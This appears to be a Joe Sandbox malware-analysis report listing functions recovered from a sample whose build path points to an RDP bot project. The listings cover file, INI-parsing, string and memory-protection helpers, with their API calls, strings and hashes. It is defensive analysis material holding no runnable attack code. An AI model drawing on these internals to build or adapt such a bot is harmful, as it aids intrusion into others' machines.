Opcode Fuzzy Hash: 73dc7f982d333ff26df20f3414a7d8ae82d516df5c2918ed58daea4cf099c28a
Instruction Fuzzy Hash: A73130A1E08A5795FA20DB5CEA017B52271BF78398F844033FB8DDB595EE3CA925C340

Function 00007FF6BE033835 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 161fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF6BE03387B
GetFileSize.KERNEL32 ref: 00007FF6BE03389E
CloseHandle.KERNEL32 ref: 00007FF6BE0338C0
GetLastError.KERNEL32 ref: 00007FF6BE033946
GetLastError.KERNEL32 ref: 00007FF6BE033A0C

Strings

(path != NULL), xrefs: 00007FF6BE0338F5
(size != NULL), xrefs: 00007FF6BE033925
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE033903, 00007FF6BE033933
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE0338EE, 00007FF6BE03391E
fs_file_size, xrefs: 00007FF6BE0338FC, 00007FF6BE03392C

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: ErrorFileLast$CloseCreateHandleSize
String ID: (path != NULL)$(size != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_file_size
API String ID: 3555958901-3761180060
Opcode ID: 2260640c85da3b0d1eec961e41a2cfeb455404a6e6d07f7efe87d2b4bab003e1
Instruction ID: 363eff64f89f970bba5b6fc2f4aeadc37967290ff8213c7a0a46b054816b9519
Opcode Fuzzy Hash: 2260640c85da3b0d1eec961e41a2cfeb455404a6e6d07f7efe87d2b4bab003e1
Instruction Fuzzy Hash: EC614E11D0C75382F670471CA184B7D51609F7836AF290632FB6EDBBD4DE2DACA99382

Function 00007FF6BE033B56 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 129filetimeCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00007FF6BE033BB5
GetFileTime.KERNEL32 ref: 00007FF6BE033BD0
GetLastError.KERNEL32 ref: 00007FF6BE033BDE
CloseHandle.KERNEL32 ref: 00007FF6BE033D00

Strings

(ctime != NULL) || (atime != NULL) || (mtime != NULL), xrefs: 00007FF6BE033C45
(path != NULL), xrefs: 00007FF6BE033C12
fs_file_stat, xrefs: 00007FF6BE033C19, 00007FF6BE033C4C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE033C20, 00007FF6BE033C53
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE033C0B, 00007FF6BE033C3E

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastTime
String ID: (ctime != NULL) || (atime != NULL) || (mtime != NULL)$(path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_file_stat
API String ID: 2291555494-1574117953
Opcode ID: cc0d7606d5d0a2fa097d4fa6822c57d715a1e4d8514272c53164d401d9c15be8
Instruction ID: 1161d5943fd09f83103f69cd446bebd129391be155cb3f85d7a936b38ada9b21
Opcode Fuzzy Hash: cc0d7606d5d0a2fa097d4fa6822c57d715a1e4d8514272c53164d401d9c15be8
Instruction Fuzzy Hash: 3E517361D1C14382FB304B1CA585B796160AF387AAF184232FB6EDB6D4DF3CAD658341

Function 00007FF6BE0369C0 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 70stringCOMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF6BE036A5E
strtol.MSVCRT ref: 00007FF6BE036A74
_errno.MSVCRT ref: 00007FF6BE036A7C
_errno.MSVCRT ref: 00007FF6BE036A84

Strings

H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF6BE036A2F
[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF6BE036AAC
ini_get_uint16, xrefs: 00007FF6BE036A3D, 00007FF6BE036AA5
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE036A44
(value != NULL), xrefs: 00007FF6BE036A36

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _errno$strtol
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtol failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint16
API String ID: 3596500743-1951032453
Opcode ID: 238c79f2b28e87de002f3402ad78c006d43888cb07f7983ebb66f4b32daff710
Instruction ID: 4f287d754d5645bfc6ecc14895da8170c8dc27c630e37e4ff575c15b93ae4af6
Opcode Fuzzy Hash: 238c79f2b28e87de002f3402ad78c006d43888cb07f7983ebb66f4b32daff710
Instruction Fuzzy Hash: C5216021A08A4792E721DB19F940BAA7770FB68784F444132FF4C87664DF3CD9A6CB00

Function 00007FF6BE036CB4 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF6BE036D50
_strtoui64.MSVCRT ref: 00007FF6BE036D66
_errno.MSVCRT ref: 00007FF6BE036D70
_errno.MSVCRT ref: 00007FF6BE036D7C

Strings

H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF6BE036D21
ini_get_uint64, xrefs: 00007FF6BE036D2F, 00007FF6BE036D9C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE036D36
[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF6BE036DA3
(value != NULL), xrefs: 00007FF6BE036D28

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _errno$_strtoui64
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> _strtoi64 failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint64
API String ID: 3513630032-2069802722
Opcode ID: 42a5c2173597e114f9880ba43546d7a88f42eec6ff72c2f0a33b3ace71511f2e
Instruction ID: 329de3270db286011740fb53ad373df4a84438c47686b3c3102ff9ce8a44e1cb
Opcode Fuzzy Hash: 42a5c2173597e114f9880ba43546d7a88f42eec6ff72c2f0a33b3ace71511f2e
Instruction Fuzzy Hash: E5213722A08A4696E721DF19F940BAA23B5FB69784F444036FF8C87664DF3CD9A5C700

Function 00007FF6BE034BC4 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 57stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6BE034C3D
strlen.MSVCRT ref: 00007FF6BE034C59
_mbscat.MSVCRT ref: 00007FF6BE034C68
strlen.MSVCRT ref: 00007FF6BE034C73

Strings

service, xrefs: 00007FF6BE034BC7
fs_module_file, xrefs: 00007FF6BE034C20
(file_path != NULL), xrefs: 00007FF6BE034C19
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE034C27
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE034C12

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen$_mbscat
String ID: (file_path != NULL)$H:/Projects/rdp/bot/codebase/fs.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$fs_module_file$service
API String ID: 3951308622-2217284372
Opcode ID: b8b76ab31a40a3d4960c29d1d6da39be99acdea2726b26025418f3b2195c7509
Instruction ID: aad0b254e60e1e427561df503e61bf117e83648400cc6bef12ff7d47d5983c1b
Opcode Fuzzy Hash: b8b76ab31a40a3d4960c29d1d6da39be99acdea2726b26025418f3b2195c7509
Instruction Fuzzy Hash: 59118161A0868784FA259F2DAD11BB956A19F79B88F4C8131EF4D8F286DE2CD4258340

Function 00007FF6BE036790 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 97stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF6BE03687C

Strings

H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF6BE0367CB, 00007FF6BE0367FE, 00007FF6BE036831
ini_get_var, xrefs: 00007FF6BE0367D9, 00007FF6BE03680C, 00007FF6BE03683F, 00007FF6BE0368A6, 00007FF6BE0368EE
NULL, xrefs: 00007FF6BE03690E, 00007FF6BE036917
(sec != NULL), xrefs: 00007FF6BE0367D2
[D] (%s) -> Done(sec=%s,name=%s,value=%s), xrefs: 00007FF6BE0368AD
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE0367E0, 00007FF6BE036813, 00007FF6BE036846
[W] (%s) -> Failed(sec=%s,name=%s,err=%08x), xrefs: 00007FF6BE0368F5
(name != NULL), xrefs: 00007FF6BE036805
(var != NULL), xrefs: 00007FF6BE036838

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strcmp
String ID: (name != NULL)$(sec != NULL)$(var != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(sec=%s,name=%s,value=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(sec=%s,name=%s,err=%08x)$ini_get_var
API String ID: 1004003707-2568489879
Opcode ID: 2e1ec48f1ce53da15b288e546176908832de149df3b5402700c5c2fba8d6dfb2
Instruction ID: d0b76e397b19ea9ccc6f52c09594a286bacd4e1facc8e1ebb2115a0801954b94
Opcode Fuzzy Hash: 2e1ec48f1ce53da15b288e546176908832de149df3b5402700c5c2fba8d6dfb2
Instruction Fuzzy Hash: EA411B61E0964792FA24DB48B940BB86370BB38344F844637FB5D9A595DF3CE96AC300

Function 00007FF6BE036609 Relevance: 15.1, APIs: 1, Strings: 9, Instructions: 90stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF6BE0366FD

Strings

H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF6BE036644, 00007FF6BE036677, 00007FF6BE0366AA
[W] (%s) -> Failed(name=%s,err=%08x), xrefs: 00007FF6BE03675B
NULL, xrefs: 00007FF6BE036774
ini_get_sec, xrefs: 00007FF6BE036652, 00007FF6BE036685, 00007FF6BE0366B8, 00007FF6BE036716, 00007FF6BE036754
(sec != NULL), xrefs: 00007FF6BE0366B1
[D] (%s) -> Done(name=%s), xrefs: 00007FF6BE03671D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE036659, 00007FF6BE03668C, 00007FF6BE0366BF
(name != NULL), xrefs: 00007FF6BE03667E
(ini != NULL), xrefs: 00007FF6BE03664B

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strcmp
String ID: (ini != NULL)$(name != NULL)$(sec != NULL)$H:/Projects/rdp/bot/codebase/ini.c$NULL$[D] (%s) -> Done(name=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[W] (%s) -> Failed(name=%s,err=%08x)$ini_get_sec
API String ID: 1004003707-3977765790
Opcode ID: ddacccf6af20dea2d09e73c8ab2f8e8bbf93bd688b8492cfa30044c9ac5ab41e
Instruction ID: 5703abd0cd96b6ef9ff74888491e23149d0e37feefe5fb67744c3ebaa6c0667d
Opcode Fuzzy Hash: ddacccf6af20dea2d09e73c8ab2f8e8bbf93bd688b8492cfa30044c9ac5ab41e
Instruction Fuzzy Hash: 0C41FFA1B0964791FA20DB58E940BB82270FB38398F944537FB4D8A5A5DF7CE966D300

Function 00007FF6BE036B40 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 68COMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 00007FF6BE036BDA
_errno.MSVCRT ref: 00007FF6BE036BF8
_errno.MSVCRT ref: 00007FF6BE036C04

Strings

H:/Projects/rdp/bot/codebase/ini.c, xrefs: 00007FF6BE036BAB
ini_get_uint32, xrefs: 00007FF6BE036BB9, 00007FF6BE036C24
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE036BC0
[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d), xrefs: 00007FF6BE036C2B
(value != NULL), xrefs: 00007FF6BE036BB2

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _errno
String ID: (value != NULL)$H:/Projects/rdp/bot/codebase/ini.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> strtoul failed(sec_name=%s,var_name=%s,radix=%d,s=%s,errno=%d)$ini_get_uint32
API String ID: 2918714741-719680006
Opcode ID: db69bd356b19582b7b3e077722370c03f868c6cfd7eb9de0e0838f2971b70153
Instruction ID: 02628c9848c7515d0d5b5d2ab6077e34099f45d367533987a85496afcb88e7cd
Opcode Fuzzy Hash: db69bd356b19582b7b3e077722370c03f868c6cfd7eb9de0e0838f2971b70153
Instruction Fuzzy Hash: EE215C61A0864796E721DF59F940BAA37B0BB68784F444036FF4C87655DF3CE8A5CB00

Function 00007FF6BE03DEBE Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF6BE03DECE
GetProcAddress.KERNEL32 ref: 00007FF6BE03DEE5
LoadLibraryW.KERNEL32 ref: 00007FF6BE03DEF3
GetProcAddress.KERNEL32 ref: 00007FF6BE03DF03

Strings

rand_s, xrefs: 00007FF6BE03DEDB
advapi32.dll, xrefs: 00007FF6BE03DEEC
msvcrt.dll, xrefs: 00007FF6BE03DEC7
SystemFunction036, xrefs: 00007FF6BE03DEF9

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: SystemFunction036$advapi32.dll$msvcrt.dll$rand_s
API String ID: 384173800-4041758303
Opcode ID: 5291cd93b414ba6c424e77f612c9ff6642894636800bc1888b68a92809d904ce
Instruction ID: 077664f75aa7db31d659d4b09262ebdfe74c990979fac17f8590c38e0e931f7a
Opcode Fuzzy Hash: 5291cd93b414ba6c424e77f612c9ff6642894636800bc1888b68a92809d904ce
Instruction Fuzzy Hash: 04F0DA24E0AA1790EE15DB5AFE544B827B4BF78794B840137EA0DD7320EE3CA56AD300

Function 00007FF6BE037754 Relevance: 12.2, APIs: 2, Strings: 6, Instructions: 157stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6BE03778E
strlen.MSVCRT ref: 00007FF6BE037799

Strings

(needle != NULL), xrefs: 00007FF6BE0377C4
(pattern != NULL), xrefs: 00007FF6BE0377FD
str_match, xrefs: 00007FF6BE0377CB, 00007FF6BE037804, 00007FF6BE03783D
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE0377D2, 00007FF6BE03780B, 00007FF6BE037844
((match == NULL) || (match_len != NULL)), xrefs: 00007FF6BE037836
H:/Projects/rdp/bot/codebase/utils.c, xrefs: 00007FF6BE0377BD, 00007FF6BE0377F6, 00007FF6BE03782F

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: strlen
String ID: ((match == NULL) || (match_len != NULL))$(needle != NULL)$(pattern != NULL)$H:/Projects/rdp/bot/codebase/utils.c$[E] (%s) -> Assertation failed: %s, file %s, line %d$str_match
API String ID: 39653677-2979476222
Opcode ID: ded80575854a2ac1c31e98b4d13eabe6bc3d5566ee1ac97b299903925feaac68
Instruction ID: 76d582da3ff774e70535047c05890818ec9daa5c6ae435b43f0279a61cc2a6a2
Opcode Fuzzy Hash: ded80575854a2ac1c31e98b4d13eabe6bc3d5566ee1ac97b299903925feaac68
Instruction Fuzzy Hash: 8C519F51F0958751FA358B1DA910FBA16727F39788F584232FB4E8BAD5DE2CE921C340

Function 00007FF6BE03A134 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 91memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF6BE0450F8,00007FF6BE045100,00007FF6BE030000,?,?,00007FF6BE03A348,?,?,00007FF6BE0484F8,00000000), ref: 00007FF6BE03A1DD
VirtualProtect.KERNEL32(?,?,?,?,00007FF6BE0450F8,00007FF6BE045100,00007FF6BE030000,?,?,00007FF6BE03A348,?,?,00007FF6BE0484F8,00000000), ref: 00007FF6BE03A244
GetLastError.KERNEL32(?,?,?,?,00007FF6BE0450F8,00007FF6BE045100,00007FF6BE030000,?,?,00007FF6BE03A348,?,?,00007FF6BE0484F8,00000000), ref: 00007FF6BE03A24E

Strings

Address %p has no image-section, xrefs: 00007FF6BE03A195
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF6BE03A1F2
VirtualProtect failed with code 0x%x, xrefs: 00007FF6BE03A139, 00007FF6BE03A254

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuery
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 637304234-2123141913
Opcode ID: 6903964d322ee31ad0e95d65d8f33e82ba9bc0ba0f8e816a8c1169f1d38d6b35
Instruction ID: 1476ee8b4eab349caf1721fcbd812c2a8b259ba217c014941c57ca1fc2bae78c
Opcode Fuzzy Hash: 6903964d322ee31ad0e95d65d8f33e82ba9bc0ba0f8e816a8c1169f1d38d6b35
Instruction Fuzzy Hash: 3331A071B09A4285EA248F5DE940A696371FFB9B84F448936FF0D873A8DE3CE565D300

Function 00007FF6BE03179C Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BE031694: LoadLibraryA.KERNEL32(?,?,service,000002234F5413D0,00007FF6BE039404), ref: 00007FF6BE0316A2

GetLastError.KERNEL32 ref: 00007FF6BE031818

Part of subcall function 00007FF6BE031613: GetProcAddress.KERNEL32(?,?,00000000,000002234F5413D0,?,00007FF6BE03941F), ref: 00007FF6BE031633

Strings

[I] (%s) -> %s, xrefs: 00007FF6BE031802
Wow64RevertWow64FsRedirection, xrefs: 00007FF6BE0317BD
kernel32, xrefs: 00007FF6BE0317A9
[E] (%s) -> Wow64RevertWow64FsRedirection failed(gle=%lu), xrefs: 00007FF6BE031828
Done, xrefs: 00007FF6BE0317F4
fs_wow_redir_revert, xrefs: 00007FF6BE0317FB, 00007FF6BE031821

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: AddressErrorLastLibraryLoadProc
String ID: Done$Wow64RevertWow64FsRedirection$[E] (%s) -> Wow64RevertWow64FsRedirection failed(gle=%lu)$[I] (%s) -> %s$fs_wow_redir_revert$kernel32
API String ID: 3511525774-1584720945
Opcode ID: 299e703167dabb65f95b7969ec2bd929e0b5c348b50a9a34504bfdabb7e3df02
Instruction ID: 98650692215f2e0971ea7b8459355375e315cfaa7c2066d1ffe2849933591527
Opcode Fuzzy Hash: 299e703167dabb65f95b7969ec2bd929e0b5c348b50a9a34504bfdabb7e3df02
Instruction Fuzzy Hash: 48115B61E1D60392FB319B5CE9507B42270AF7C384F840433FA0EDA2A1EE2CE965C301

Function 00007FF6BE031700 Relevance: 10.5, APIs: 1, Strings: 6, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6BE031694: LoadLibraryA.KERNEL32(?,?,service,000002234F5413D0,00007FF6BE039404), ref: 00007FF6BE0316A2

Part of subcall function 00007FF6BE031613: GetProcAddress.KERNEL32(?,?,00000000,000002234F5413D0,?,00007FF6BE03941F), ref: 00007FF6BE031633

GetLastError.KERNEL32 ref: 00007FF6BE031760

Part of subcall function 00007FF6BE0399E2: fwrite.MSVCRT ref: 00007FF6BE039A8E
Part of subcall function 00007FF6BE0399E2: fflush.MSVCRT ref: 00007FF6BE039A9A

Strings

Wow64DisableWow64FsRedirection, xrefs: 00007FF6BE031718
[I] (%s) -> %s, xrefs: 00007FF6BE03174A
kernel32, xrefs: 00007FF6BE031704
fs_wow_redir_disable, xrefs: 00007FF6BE031743, 00007FF6BE031769
[E] (%s) -> Wow64DisableWow64FsRedirection failed(gle=%lu), xrefs: 00007FF6BE031770
Done, xrefs: 00007FF6BE03173C

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: AddressErrorLastLibraryLoadProcfflushfwrite
